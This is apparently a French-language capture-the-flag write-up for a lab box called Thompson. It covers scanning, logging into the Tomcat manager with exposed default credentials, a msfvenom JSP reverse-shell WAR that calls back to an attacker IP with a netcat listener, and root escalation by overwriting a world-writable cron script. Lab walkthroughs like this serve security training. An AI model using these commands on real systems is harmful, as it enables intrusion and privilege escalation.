Nous allons faire une attaque concérnant la box : Thompson.
1- Reconnaissance
On va faire un scan avec nmap pour savoir les différents ports ouverts grâce à la commande : nmap -p- -T5 10.10.4.203
Press enter or click to view image in full size
Nous avons le port 22 ssh | 8009 qui est utilisé pour la communication entre Tomcat & Apache web ainsi le port 8080 qui est le port par défaut du serveur Tomcat
Allons sur la page web en utilisant : 10.10.4.203:8080
Press enter or click to view image in full size
Après avoir été ici ! Je me suis rendu dans la rubrique “ Manager App” mais il faut un nom d’utilisateur & un mot de passe ! admin:admin ne fonctionne pas ! après avoir cliquer sur “ cancel “ cette page est apparue.
Press enter or click to view image in full size
Essayons ces logins pour voir si ça va fonctionner !
Press enter or click to view image in full size
Bingo, nous allons utiliser msfvenom pour notre reverse shell en format .war
2- Exploitation
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.9.7.116 LPORT=5555 -f war > qtrax.war
Press enter or click to view image in full size
Voilà ! Vous avez plus qu’à l’upload
Press enter or click to view image in full size
Et maintenant nous allons passer à l’écoute avec netcat : nc -lvnp 5555
Press enter or click to view image in full size
Bingo ! Nous avons le user flag ! Maintenant essayons de trouver le moyen d’avoir le root
3- Escalade de privilège
Le test.txt nous renvoie la réponse de la commande “ id “
Après la lecture du contenu de ce script, on peut voir que lorsque il est executé il affiche la réponse de la commande “ id “ du fichier test.txt
J’ai effectué la commande ls -la et j’ai pu voir que le script id.sh à toutes les permissions. A la fois pour l’owner, le groupe, et les autres utilisateurs.
Allons voir le : cat /etc/crontab
Press enter or click to view image in full size
On va prendre le flag de l’utilisateur “ root “ en écrasant le “ id.sh” en utilisant : echo “cp /root/root.txt /home/jack/drapeau.txt” > id.sh
Voilà ! Nous sommes ROOT !
Get quatro aka unknow’s stories in your inbox
Join Medium for free to get updates from this writer.
Le .txt ne va pas s’afficher directement ! Il faut 1–2 minutes d’attente !